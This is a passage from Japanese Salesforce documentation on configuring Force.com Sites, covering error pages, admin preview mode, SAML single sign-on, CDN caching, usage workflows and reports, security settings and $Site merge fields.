いときにルートサイトのカスタムページが使用されます。たとえば、
http://mycompany.force.com/salesにカスタムページがなく http://mycompany.force.comに
はカスタムページがある場合、カスタムページが使用されます。どちらにもカスタムページがない場
合、デフォルトのメンテナンスページが表示されます。

メモ: 静的リソース:

– 1 MB 以下の公開 .zip ファイルである必要があります。
– .zip ファイルのルートレベルに maintenance.html という名前のページを含める必要がありま

す。画像や CSS ファイルなどの、.zip ファイル内のその他のリソースは、ディレクトリ構造上の
制限はありません。

– 5 つの拡張子を持つファイルだけを含む必要があります。

• ページが見つかりません  — 検出できないページにアクセスしようとすると表示されます。<apex:page>

コンポーネントのアクション属性を使用して、[ページが見つかりません] エラーページから静的リソー
スにリダイレクトできます。このリダイレクトを使用すると、メンテナンスページにリダイレクトしま
す。

6229

Force.com サイトコードではなくてクリックによる Salesforce の拡張



• 汎用エラーページ  — 一般的な例外が発生すると表示されます。

メモ: カスタムエラーページで静的リソースを使用する場合 (大容量の画像ファイルや静的リソースの
.zip ファイルに含まれる大容量の CSS ファイルなど)、各リソースは 50KB 以下にする必要があります。
50KB を超えた場合、そのリソースに 404 (not found) エラーが返されます。

5. [保存] をクリックします。
6. [サイトの詳細] ページで、[プレビュー]をクリックすると、ブラウザに表示されるとおりに関連ページが表

示されます。

ヒント: カスタム Visualforce エラーページで </apex:page> タグの終了直前に <site:previewAsAdmin

/>コンポーネントを追加すると、詳細サイトエラーメッセージが管理者プレビューモードで表示されま
す。

関連トピック:

Force.com Site Visualforce ページの管理
Force.com サイトの標準ページの管理

管理者プレビューモードを使用した Force.com サイトのトラブルシューティング

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

使用可能なエディション: Developer Edition、Enterprise Edition、Performance Edition、
および Unlimited Edition

サイトページにエラーが表示され、その原因がわからない場合、管理者プレ
ビューモードを使用して、状況に基づいて詳細にサイトページを調査できます。

メモ: 管理者プレビューモードは、ブランド情報を含むカスタム Web アド
レスを使用するサイトなど、すべての有効なサイトで使用可能です。

管理者プレビューモードにアクセスする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選択します。
2. プレビューするサイトの名前をクリックします。
3. [サイトの詳細] セクションで、[管理者としてプレビュー]リンクをクリックします。サイトのプレビューで

新しいブラウザのウィンドウが開き、ページ下部に拡張エラーメッセージが表示されます。
4. システム管理者の Cookie をクリアして、サイトのホームページにリダイレクトするには、[管理者プレビュー

モードのログアウト] をクリックします。
管理者プレビューモードの詳細エラーメッセージは、Visualforceエラーページの <site:previewAsAdmin />

コンポーネントによって決まります。Summer '10 から、新しい組織では、デフォルトで、標準エラーページに
<site:previewAsAdmin /> コンポーネントが含まれるようになりました。すべてのカスタムエラーページ
と従来の組織のページに手作業でこのコンポーネントを追加する必要があります。次のように、閉じタグ
</apex:page> の直前にこのコンポーネント追加することをお勧めします。

<site:previewAsAdmin />
</apex:page>
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メモ: <site:previewAsAdmin /> コンポーネントには <apex:messages /> タグが含まれています。
そのため、このタグをエラーページの他の場所に配置すると、詳細エラーメッセージが 2 回表示されま
す。

関連トピック:

Force.com サイトの作成と編集
Force.com Site エラーページの割り当て

サイトのシングルサインオンの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

シングルサインオン (SSO) を使用すると、ユーザが 1 回のログインで複数の承認
済みネットワークリソースにアクセスできます。企業ユーザのデータベースま
たはクライアントアプリケーションに対してユーザ名とパスワードを検証でき、
リソースごとに個別の Salesforce 管理のパスワードは必要ありません。
SAML SSO を使用するようにサイトを設定し、ユーザがログインが 1 回で済むよ
うにすることができます。
1. カスタマーポータルまたはパートナーポータルのいずれかを設定します。
2. サイトを設定します。
3. カスタマーポータルを使用している場合、カスタマーポータルを使用するサ

イトを設定します。
4. 収集して ID プロバイダと共有する必要のある SAML サインオン情報のほか、

情報プロバイダに次の情報を提供します。
• 組織 ID

• ポータル ID

• サイトの URL

ID プロバイダから送信された SAML アサーションに、次の属性を追加します。
• organization_id

• portal_id

• siteurl

組織 ID、ポータル、サイト URL の値を [設定] から取得します。
a. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報] を選択して、[Salesforce

組織 ID] にある ID をコピーします。
b. カスタマーポータルでは、[設定] から [クイック検索]ボックスに「カスタマーポータル設定」と入力し、

[カスタマーポータル設定] を選択します。カスタマーポータルの名前をクリックして、[ポータル ID]

にある ID をコピーします。
パートナーポータルの場合、[設定] から、[クイック検索] ボックスに「パートナー」と入力し、[設定]

を選択します。パートナーポータルの名前をクリックして、[Salesforce ポータル ID] にある ID を
コピーします。

c. [設定] から、[クイック検索] ボックスに「カスタム URL」と入力し、[カスタム URL] を選択します。

6231

Force.com サイトコードではなくてクリックによる Salesforce の拡張



サイトのサービスプロバイダが起動した SAML

Salesforce は、組織の ID プロバイダがログインを開始するときに、SAML を使用した SSO を自動的にサイトで使
用できるようにします。
サービスプロバイダによるログイン開始時に、サイトで SAML を使用するには、サーバへのリダイレクトを提
供する Visualforce ページを作成します。次に例を示します。
<apex:page showHeader="false" sidebar="false">
<script>

var PingSpURL =
"https://my.pingserver.com:9031/idp/startSSO.ping?PartnerSpId=salesforce.com.sp";

var siteLoginPage =
"&TargetResource={!$Site.CurrentSiteUrl}siteLogin?startUrl={!$Site.OriginalUrl}";

window.location = PingSpURL+siteLoginPage;
</script>
</apex:page>

Force.com サイトページのキャッシュ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Force.com サイトでは、帯域幅およびサービス要求時間の、2 つの 24 時間周期の
制限を実施します。これは組織の種別により異なります。有効な本番組織では
制限値は高くなっていますが、通信量の混雑または多くの帯域幅や処理時間を
要するページにより、サイトが制限値を超える可能性があります。「直近 24 時
間」は、現在の時刻の直前の 24 時間を示します。
サイトでは、ページの読み込み時間とサイトパフォーマンスの向上、および帯
域幅の制限またはサービス要求時間の制限を超えないようにするために、Content

Delivery Network (CDN) パートナーのリソースを使用できるキャッシュオプション
が用意されています。サイトを使用すると、各サイトページのキャッシュ期間
を設定し、エンドユーザへのコンテンツ配信を最適化することができます。
各 Visualforce ページに Boolean 値の cache 属性および整数の expires 属性を設
定し、サイトのキャッシュ処理を制御します。デフォルトで、cache 属性を設定していないページのキャッ
シュ時間は 10 分 (600 秒) です。
たとえば、キャッシュ時間が 15 分に設定されているページは次のようになります。
<apex:page cache="true" expires="900">

メモ:  CDN は、有効な本番組織にのみ使用できます。Sandbox または Developer Edition 組織では使用できませ
ん。
機密情報の完全性を保護するために、認証後に要求される SSL セッションおよびページは、CDN 経由では
キャッシュされません。
サイトを経由してアクセスされた公開ページへの添付ファイルは、自動的に CDN を介して 10 分間キャッ
シュされます。

要求がキャッシュサーバから行われているかどうか、サイトでログインが有効かどうかに関わらず、ページに
アクセスするユーザの種別などの他の要素もキャッシュの動作に影響します。次の表に、これらの各ケースで
のキャッシュの動作をまとめています。
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キャッシュサーバからの要求
サイトでログインが有効な場合

キャッシュの保存場所キャッシュの動作キャッシュ属性

キャッシュサーバのみキャッシュの有効期限はユーザが
設定した値に従う

TRUE に設定

キャッシュサーバのみキャッシュの有効期限は 10 分設定なし

なしキャッシュされませんFALSE に設定

サイトでログインが有効でない場合

キャッシュの保存場所キャッシュの動作キャッシュ属性

キャッシングサーバとブラウザの
両方

キャッシュの有効期限はユーザが
設定した値に従う

TRUE に設定

キャッシングサーバとブラウザの
両方

キャッシュの有効期限は 10 分設定なし

なしキャッシュされませんFALSE に設定

キャッシュサーバ以外からの要求
サイトでログインが有効な場合

キャッシュの保存場所キャッシュの動作キャッシュ属性

なしキャッシュされませんTRUE に設定

なしキャッシュされません設定なし

なしキャッシュされませんFALSE に設定

サイトでログインが有効でない場合

キャッシュの保存場所キャッシュの動作キャッシュ属性

ブラウザのみキャッシュの有効期限はユーザが
設定した値に従う

TRUE に設定

ブラウザのみキャッシュの有効期限は 10 分設定なし
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キャッシュの保存場所キャッシュの動作キャッシュ属性

なしキャッシュされませんFALSE に設定

関連トピック:

Force.com サイトの使用状況履歴の参照
Force.com サイトの制限と請求

Force.com サイトのワークフローの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールを作
成または変更する
• 「アプリケーションの

カスタマイズ」

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

サイトのワークフローでは、特定のサイト関連基準を満たす場合にメールアラー
トをトリガするワークフロールールを作成できます。たとえば、帯域幅の使用
が一日あたりの使用制限の 80% に達した場合、またはサイトの状況が有効な状
態から変わった場合に、サイト管理者にメールアラートを送信するルールを作
成します。
適切なサイト使用のワークフロールールを設定すると、サイトが 24 時間の帯域
幅制限およびサービス要求時間、ページビューおよびログインの 1 か月あたり
の制限を超えないようにすることができます。基準が特定のサイトに制限され
ていない限り、サイトオブジェクトに作成されるワークフロールールは、組織
内のすべてのサイトについて 1 時間ごとに評価されます。組織オブジェクトお
よびユーザライセンスオブジェクトに作成されるワークフロールールは、3 時間
ごとに評価されます。
サイト使用ワークフロールールにサポートされるのは、メールアラートのアク
ションだけです。項目自動更新、ToDo、およびアウトバウンドメッセージなど、
その他のワークフローアクションは使用できません。
サイト使用ワークフロールールを作成するには、次の設定を使用してワークフ
ロールールを作成します。
オブジェクトの選択

オブジェクトを選択するときは、次のいずれかを選択します。
• [組織]  ([毎月のページ表示許可] 項目および [毎月のページ表示使用] 項目)

• [サイト]  (サイトの詳細、1 日あたりの帯域幅および要求時間、1 か月あたりのページビュー、その他の
項目)

• [ユーザライセンス]  ([毎月のログイン許可] 項目および [使用される月ごとのログイン] 項目)

組織オブジェクトおよびサイトオブジェクトは、組織に対して Force.com サイトが有効になっている場合に
のみ使用できます。ユーザライセンスオブジェクトは、サイトに依存しません。組織でカスタマーポータ
ルまたはパートナーポータルが有効になっている場合にのみ使用できます。

ルール条件
ルール条件を次のいずれかの方法で入力します。
• [条件が一致する] を選択し、ルールを適用するためにサイトが満たす必要のある検索条件を選択しま

す。たとえば、組織内のサイトについて有効な状況が変わるごとにルールをトリガするため、項目を
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[サイトの状況が次の文字列と一致しない 有効] に設定します。行を追加または Boolean 条件を設定する
には、[検索条件ロジックを追加] をクリックします。

• [数式の評価が true になる]を選択し、数式を入力します。数式が「True」を返した場合にルールを実
行します。
たとえば、次の数式は、帯域幅の使用が 1 日あたりの使用制限の 80% に達した場合、ルールをトリガし
ます。
DailyBandwidthUsed >= 0.8 * DailyBandwidthLimit

次の例では、時間の使用状況が 1 日あたりの使用制限の 80% に達した場合、数式によりルールがトリガ
されます。
DailyRequestTimeUsed >= 0.8* DailyRequestTimeLimit

ワークフローアクション
ワークフローを追加するとき、[ワークフローアクションの追加] をクリックして、[新規メールアラート]

(ページ 5952) または [既存アクションの選択]を選択します。

ヒント: サイト差し込み項目を使用するカスタムメールテンプレートを作成するには、[設定] から、
[クイック検索] ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選択して [新規
テンプレート]を選択します。テンプレートを設定する場合、[差し込み項目ルックアップ] セクション
の [差し込み項目の種類] ドロップダウンリストで [サイトの項目] を選択して、[サイト] 差し込み項目
を使用します。

関連トピック:

Force.com サイト

Google Analytics を使用した Force.com Site の追跡

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.com サイトは Google Analytics との革新的なインテグレーションを提供しま
す。Google Analytics を使用し、アクセス数、ページの表示回数、サイトの平均ア
クセス時間などの、サイトとサイトページの利用状況を追跡できます。

メモ: <site:googleAnalyticsTracking/> コンポーネントは Force.com

サイトで使用されるページでのみ動作します。サイトが組織で有効化され
ていることと、[分析追跡コード] 項目に値が入力されていることが必要で
す。追跡コードを取得するには、「Google Analytics」 Web サイトにアクセス
します。

Google Analytics を使用してサイトを追跡する手順は、次のとおりです。
1. Google Analytics でアカウントのサインアップをします。
2. Google Analytics で新規プロファイルを追加し、追跡するサイトのドメインまた

は完全な URL を入力します。
3. Google の追跡状況情報から [Web プロパティ ID] をコピーし、追跡するサ

イトの [サイトの編集] ページにある [分析追跡コード]に貼り付けます。ウェ
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ブプロパティ ID は UA で始まり、アカウントとプロファイル番号が後に続きます。たとえば、UA-9049246-2

のようになります。
4. [保存] をクリックします。
5. サイトに関連付けられたVisualforceページを追跡するには、それらのページのサイトテンプレート、または

個々のページ自体に次のタグを入力します。
<site:googleAnalyticsTracking/>

このタグを含まないページやこのタグを含むサイトテンプレートに関連付けられていないページは、追跡
できません。デフォルトのサイトテンプレートには、すでにタグが含まれています。そのため、特定のデ
フォルトページを含め、そのテンプレートを使用するすべてのページは追跡可能です。

メモ: Google は、ページの読み込み時間の増加を避けるため、コンポーネントをページの下部に追加
することを推奨しています。

6. Google Analytics サイトに移動し、プロセスを完了する手順に従ってください。サインアップ後、Google Analytics

で最初の追跡結果を確認できるまで、最長で 24 時間かかります。

ヒント: 複数のサイトを別々に追跡するには、完全なサイト URL を使用して個別のプロファイルを作成
し、各サイトの [分析追跡コード] 項目に異なるウェブプロパティ ID を入力します。

関連トピック:

Force.com サイトの管理
Force.com サイトの作成と編集
Force.com サイトの使用状況履歴の参照
Force.com サイトのレポート

Force.com サイト履歴の参照

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

サイト履歴を参照する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. 表示するサイト名をクリックします。
3. [サイト履歴] 関連リストを参照します。
[サイト履歴] 関連リストは、サイトに対して行われた変更を追跡して表示しま
す。サイト履歴では、変更を行ったユーザおよび発生時刻と共に次の行動のす
べてを追跡します。

説明行動

各サイトがいつ作成されたかを記録し
ます。

サイトの作成

次のサイト値の変更を記録します。サイトの詳細の変更
• サイトの表示ラベル

6236

Force.com サイトコードではなくてクリックによる Salesforce の拡張



説明行動

• サイト名
• サイトの説明
• サイトの管理者
• デフォルト Web アドレス
• カスタム Web アドレス
• 有効な状況
• 有効なサイトのホームページ
• 無効なサイトのホームページ
• サイトテンプレート
• Site Robots.txt

• サイトのお気に入りのアイコン
• 分析追跡コード
• フィードの有効化

いずれかの標準ページが有効化または無効化されると
記録します。

サイト標準ページ

エラーページの割り当てが変更されると記録します。サイトエラーページ

次のログイン設定の変更を記録します。ログイン設定の変更
• ポータル
• パスワードの変更ページ
• セキュアでない接続 (HTTP) が必要

URL リダイレクトの作成、削除、有効化、無効化、ま
たは変更が行われたら記録します。

URL リダイレクトの変更

関連トピック:

Force.com サイト
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Force.com サイトの使用状況履歴の参照

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

この関連リストに記録した使用状況データを参照して、各サイトの帯域幅およ
び要求時間の使用状況を監視します。サイトを詳細に監視することで、制限を
超えないようにすることができます。
サイトの 24 時間使用状況履歴を表示する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. 表示するサイト名をクリックします。
3. [24 時間使用履歴] 関連リストが表示されます。利用状況情報は、処理時間に

より数分遅れる場合があります。
[24 時間使用状況履歴] 関連リストは、サイトに関する次の使用状況総計値を記
録および表示します。

計算方法総計値

帯域幅は、サイトの発信元サーバとの間で送受信される MB 数
として計算されます。[毎日の制限]は、直近の 24 時間に適用
されます。

発信元帯域幅

「サービス要求時間」は、サイトのページ生成に必要なサー
バ時間の合計 (単位: 分) として計算されます。[毎日の制限]

は、直近の 24 時間に適用されます。

要求時間

「発信元サーバ」は、サイトをホストする Web サーバを示します。「直近 24 時間」は、現在の時刻の直前の
24 時間を示します。
各総計値について、関連リストには、[現在の利用状況]、[毎日の制限]、および [使用率] が表示されます。

関連トピック:

Google Analytics を使用した Force.com Site の追跡
Force.com サイトのレポート
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Force.com サイトのレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

パッケージをインストー
ルする
• 「AppExchange パッ

ケージのダウンロー
ド」

レポートを実行する
• 「レポート実行」

および

「参照」

レポートを作成、編集、
保存、および削除する
• レポートに表示されて

いるレコードに対する
「レポート実行」と
「参照」

および

「レポートの作成とカ
スタマイズ」

ダッシュボードを作成、
編集、および削除する
• 「レポート実行」

および

「ダッシュボードの管
理」

サイトの活動および使用状況を記録するには、サイト使用状況レポート管理パッ
ケージを利用して月間ページビュー、1 日あたりの帯域幅、1 日あたりのサービ
ス要求時間を分析し、個々のサイトおよび組織で1 か月の制限値および 1 日の制
限値に達することを避けられます。
サイトの Salesforce レポートおよびダッシュボードの使用を開始する手順は、次
のとおりです。
1. サイト使用状況レポート管理パッケージをインストールします。
2. パッケージ化されたレポートを使用して、サイトの使用状況を分析します。
3. 必要に応じて、カスタムレポートを作成してサイトの使用状況を分析しま

す。
4. サイト使用状況ダッシュボードを使用して、サイトを監視します。

サイト使用状況レポート管理パッケージのインストール
サイト使用状況レポート管理パッケージはAppExchangeで使用可能で、すぐに使
用できるレポートとサイトの使用状況を監視するダッシュボードを含みます。

パッケージ化されたレポートを使用したサイトの使用状況の分析
サイト使用状況レポート管理パッケージには、組織内のサイト用の下記のレポー
トが含まれています。これらのレポートは、[レポート] タブの [すべてのレポー
ト] の [サイト使用状況レポート] フォルダに格納されています。[フォルダ] ド
ロップダウンリストの [サイト使用状況のレポート] を選択し、[Go] をクリック
しても、レポートを使用できます。

メモ: サイト使用状況データは、GMT の午前 0 時に集計されるため、タイム
ゾーンによっては、現在の日付のページビューカウントが必ずしもレポー
トに性格に反映されているわけではありません。キャッシュサーバページ
ビューは、レポートに反映されるのに 1 日以上かかる場合があります。

説明レポート

可能なページビューに対して測定された、現在の期間
(カレンダーの月) の合計ページビュー数を表示します。
ページビューはサイトごと、日付ごとに表示されます。
現在の期間の制限は、組織内のすべてのサイトに適用
されます。

現在の期間のページ
ビュー

最近 30 日間の帯域幅使用状況の合計を、サイトごと、
日付ごと、発信元およびキャッシュサーバごとに表示
します。

1 日あたりの帯域幅使
用状況の合計
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説明レポート

最近 30 日間のページビューの合計を、サイトごと、日付ごと、発信元および
キャッシュサーバごとに表示します。

1 日あたりのページビューの合
計

最近 30 日間の帯域幅使用状況の合計を、サイトごと、日付ごとに表示しま
す。

サイト 1 日あたりの発信元帯
域幅使用状況の合計

最近 30 日間のサービス用九時間の合計を、サイトごと、日付ごとに表示しま
す。

サイト 1 日あたりの要求時間
の使用状況

現在の期間中に帯域幅を最も消費したサイトを表示します。帯域幅消費最上位サイト

現在の期間中にサービス要求時間を最も消費したサイトを表示します。リソース消費最上位サイト

現在の期間中にページビューを最も生成したサイトを表示します。ページビュー最大サイト

サイトの使用状況を分析するカスタムレポートの作成
次の手順で、サイトに関するカスタムレポートを作成することもできます。
1. [レポート] タブから、[新規レポート] をクリックします。
2. レポートタイプについて、[管理レポート]を選択し、[サイト使用状況のレポート]を選択します。サイト使

用状況レポートカスタムレポートタイプを表示するには、組織でサイトを有効にし、サイト使用状況レポー
ト管理パッケージをインストールする必要があります。

3. [作成] をクリックして、カスタムレポートを作成します。[サイト名]、[サイトの状況]、[毎日の帯域幅の
制限]、および [毎日の要求時間の制限] など、サイトに関連する項目をすべてカスタムレポートに使用で
きます。

メモ: サイト使用状況レポートカスタムレポートタイプを使用して、独自のカスタムレポートを作成する
場合、[Origin Bandwidth]列はバイト数で測定され、[要求時間]列はミリ秒で測定されるため注意が
必要です。これらの列をそれぞれ [毎日の帯域幅の制限] 列 (単位: MB) および [毎日の要求時間の制限] 列
(単位: 分) と比較する場合、単位の違いを考慮してください。
管理パッケージに含まれる追加設定なしのレポートの場合、帯域幅の単位は MB、要求時間の単位は分と
なります。

サイトを監視するサイト使用状況ダッシュボードの使用
サイト使用状況レポート管理パッケージには、組織内のサイトを一目で監視できるサイト使用状況ダッシュ
ボードが含まれています。ダッシュボードには、管理パッケージに含まれている各レポートのコンポーネント
が含まれています。
ダッシュボードを使用するには、[ダッシュボード] タブから次の手順を実行します。
• [ダッシュボードの参照] 項目を使用します。
• または、[ダッシュボード一覧に戻る]をクリックして、ダッシュボード一覧から [サイト使用状況ダッシュ

ボード] を選択します。
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ダッシュボードを変更するには、[編集]をクリックします。または、作成したカスタムレポートを使用して、
独自のダッシュボードを作成することもできます。ホームページにサイト使用状況ダッシュボードをダッシュ
ボードスナップショットとして追加することを検討してください。

関連トピック:

Force.com サイトの使用状況履歴の参照
Google Analytics を使用した Force.com Site の追跡

Force.com サイトのセキュリティ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Force.comサイトを設定するときは、次のセキュリティ問題に留意してください。
• [セッションの設定] ページの [セキュアな接続 (HTTPS) が必要] チェック

ボックスがオン、[ログイン設定] ページの [セキュアでない接続 (HTTP) が
必要]チェックボックスがオフになっている場合、サイトから関連付けられ
ているポータルにログインするユーザには、secure.force.com ドメイン
が表示されます。たとえば、カスタムドメインとしてmycompany.force.com

を登録した場合、URL はログイン時に
https://mycompany.secure.force.com に変わります。詳細は、
「Force.com Site のログインおよび登録設定の管理」を参照してください。

• サイトのログインにスクリプトを使用する顧客は任意で指定できる refURL

URL パラメータを使用し、ログイン後のカスタムドメイン名を保持します。サイトに [セキュアでない接続
(HTTP) が必要] が設定されている場合、または組織に [セキュアな接続 (HTTPS) が必要] が設定されて
いる場合、このパラメータは無効です。refURL の URL は、
http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com のようになります。

• IP またはログイン時間に基づいて制限を設定するには HTTPS が必須です。Force.comドメインに関連付けられ
た安全な URL を使用して、サイトにアクセスする必要があります。

• すべての Force.com サイトページに HTTPS を適用し、すべての IP アドレスにサイトへのアクセスを許可する
には、0.0.0.0 ～ 255.255.255.255、:: ～ ::fffe:ffff:ffff、::1:0:0:0 ～
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff の IP 範囲を作成します。ただし、この設定によってサ
イトのパフォーマンスが低下する可能性があるため、絶対に必要な場合以外は HTTPS を適用しないでくだ
さい。HTTP から HTTPS に変更しても、ログイン中のユーザには次回ログインするまで影響はありません。

• 認証ユーザおよび非認証ユーザには、Apex 例外など、特定の条件のさまざまなエラーメッセージが表示さ
れる場合があります。

• 本番組織のみが、HTTPS を使用してサイトにアクセスできる有効な secure.force.com  SSL 証明書を持っ
ています。

メモ:  Sandbox (非本番) 組織内のサイトに HTTPS を使用してアクセスする場合、証明書名の不一致とい
う警告が表示される場合があります。

• 静的リソースのキャッシュ設定は、ゲストユーザのプロファイルが IP 範囲またはログイン時間に基づいて
制限されている Force.com サイトを介してアクセスする場合は、非公開に設定されます。ゲストユーザプロ
ファイル制限のあるサイトでは、ブラウザ内でのみ静的リソースをキャッシュします。また、以前は無制
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限であったサイトに制限が設定されると、Salesforce キャッシュおよび中間キャッシュから静的リソースが
解放されるまでに最大 45 日かかる場合があります。

警告:

• サイトの「参照」アクセス権を与えたオブジェクトについては、共有を非公開に設定することをお勧
めします。こうすると、サイトにアクセスするユーザが参照および編集できるのは、サイトに関連す
るデータのみになります。

• また、すべてのリストビューの表示の安全を図ることをお勧めします。リストビューの表示を [特定
のユーザグループに表示]に設定し、共有するグループを指定します。表示を [すべてのユーザに表示]

に設定したリストビューは、サイトの一般ユーザにも表示されます。リストビューを一般ユーザと共
有するには、一般ユーザ用の新しい公開グループを作成し、グループに対して表示可とします。オブ
ジェクトの共有を非公開とすると、リストビューが表示可能かどうかにかかわらず、一般ユーザには
そのレコードは表示されません。

Force.com サイト関連の Apex メソッドと式

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.com Apex メソッド
site クラス、cookie クラス、urlRewriter クラスには、Force.com サイトの
Apexメソッドが含まれています。『Force.comApexコード開発者ガイド』を参照し
てください。

Force.com サイト関連の式
Force.comでは、次のように、Visualforceページ、メールテンプレート、および Sコ
ントロールで使用する式が用意されています。

説明差し込み項目

現在のサイトの API 名を返します。$Site.Name

組織の Force.com ドメイン名を返します。$Site.Domain

要求のカスタム URL の末尾が force.comではな
い場合はカスタム URL を返し、そうでない場合

$Site.CustomWebAddress

はサイトの主カスタム URL を返します。どちら
も存在しない場合は、空の文字列を返します。
この URL のパスは、要求のカスタム URL にパスプ
レフィックスがあっても、常にルートです。現
在の要求がサイト要求ではない場合、この項目
は空の文字列を返します。この項目の値の末尾
は常に /文字です。$Site.CustomWebAddress の使用
はお勧めしません。代わりに $Site.BaseCustomUrl

を使用することをお勧めします。
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説明差し込み項目

このページがサイトに指定されたエラーページである場合は、元の
URL を返し、そうでない場合は null を返します。

$Site.OriginalUrl

参照やリンクで使用する必要がある、現在のサイトのベース URL を
返します。この項目は、現在の要求の URL ではなく、参照元ページ

$Site.CurrentSiteUrl

の URL を返す場合があります。この項目の値にはパスプレフィック
スが含まれており、値の末尾は常に / 文字です。現在の要求がサ
イト要求ではない場合、この項目は空の文字列を返します。
$Site.CurrentSiteUrl の使用はお勧めしません。代わりに $Site.BaseUrl を
使用してください。

現在のサイトがログインが有効なポータルと関連付けられている場
合は true を返し、そうでない場合は false を返します。

$Site.LoginEnabled

現在のサイトがセルフ登録対応のカスタマーポータルと関連付けら
れている場合は true を返し、そうでない場合は false を返しま
す。

$Site.RegistrationEnabled

認証ユーザの場合、現在ログインしているユーザのパスワードの有
効期限が切れている場合、trueを返します。認証されていないユー
ザの場合は、false を返します。

$Site.IsPasswordExpired

現在のサイトの [サイトの管理者] 項目の値を返します。$Site.AdminEmailAddress

現在のサイトの URL パスプレフィックスを返します。たとえば、サ
イト URL が myco.force.com/partners である場合、/partners

$Site.Prefix

がパスのプレフィックスです。プレフィックスが定義されていない
場合は nullを返します。現在の要求がサイト要求ではない場合、
この項目は空の文字列を返します。

現在のサイトに関連付けられたテンプレートを返します。テンプ
レートが指定されていない場合、デフォルトテンプレートを返しま
す。

$Site.Template

現在のページがサイトに指定されたエラーページで、エラーがある
場合は、現在のページのエラーメッセージを返し、そうでない場合
は空の文字列を返します。

$Site.ErrorMessage

現在のページがサイトに指定されたエラーページであり、エラーが
ある場合は、現在のページのエラーの説明を返し、そうでない場合
は空の文字列を返します。

$Site.ErrorDescription

サイトに関連付けられている追跡コード。このコードは、Google

Analytics などのサービスによって、サイトのページリクエストデー
タを追跡するために使用されます。

$Site.AnalyticsTrackingCode

Force.comサブドメインが使用されていない、現在のサイトのベース
URL を返します。サイトの Force.com 以外のカスタム URL のうち、少

$Site.BaseCustomUrl
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説明差し込み項目

なくとも 1 つが HTTPS をサポートしている場合、返された URL は、
現在の要求と同じプロトコル (HTTP または HTTPS) を使用します。返
された値の末尾は常に / 文字以外です。このサイトのすべてのカ
スタム URL の末尾が force.com か、このサイトにカスタム URL が
ない場合、空の文字列が返されます。現在の要求がサイト要求では
ない場合、このメソッドは空の文字列を返します。
この項目によって CustomWebAddressが置き換えられます。また
この項目にはカスタム URL のパスプレフィックスが含まれます。

HTTPS ではなく HTTP が使用されている、現在のサイトのベース URL

を返します。現在の要求のドメインが使用されます。返された値に
$Site.BaseInsecureUrl

はパスプレフィックスが含まれており、値の末尾は常に / 文字以
外です。現在の要求がサイト要求ではない場合、このメソッドは空
の文字列を返します。

要求された URL について、現在のサイトのベース URL を返します。
これは、参照元ページの URL による影響を受けません。返された

$Site.BaseRequestUrl

URL は、現在の要求と同じプロトコル (HTTP または HTTPS) を使用しま
す。返された値にはパスプレフィックスが含まれており、値の末尾
は常に / 文字以外です。現在の要求がサイト要求ではない場合、
このメソッドは空の文字列を返します。

HTTP ではなく HTTPS が使用されている、現在のサイトのベース URL

を返します。現在の要求のドメインが HTTPS をサポートしていれば
$Site.BaseSecureUrl

優先されます。Force.comサブドメイン以外のドメインは、Force.com

サブドメインよりも優先されます。Force.comサブドメインは、サイ
トに関連付けられている場合、現在のサイトに他の HTTPS ドメイン
がなければ使用されます。サイトに HTTPS カスタム URL がない場合、
このメソッドは空の文字列を返します。返された値にはパスプレ
フィックスが含まれており、値の末尾は常に / 文字以外です。現
在の要求がサイト要求ではない場合、このメソッドは空の文字列を
返します。

参照やリンクで使用する必要がある、現在のサイトのベース URL を
返します。この項目では、現在の要求の URL ではなく、参照元ペー

$Site.BaseUrl

ジの URL を返す場合があります。この項目の値にはパスプレフィッ
クスが含まれており、値の末尾は常に / 文字以外です。現在の要
求がサイト要求ではない場合、この項目は空の文字列を返します。
$Site.CurrentSiteUrl は、この項目に置き換えられます。

現在のサイトの [マスタ表示ラベル] 項目の値を返します。現在の要
求がサイト要求ではない場合、この項目は空の文字列を返します。

$Site.MasterLabel
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説明差し込み項目

現在のサイトの ID を返します。現在の要求がサイト要求ではない
場合、この項目は空の文字列を返します。

$Site.SiteId

現在のサイトの [サイト種別] 項目の API 値を返します。現在の要求
がサイト要求ではない場合、この項目は空の文字列を返します。

$Site.SiteType

現在のサイトの [サイト種別] 項目の表示ラベル値を返します。現在
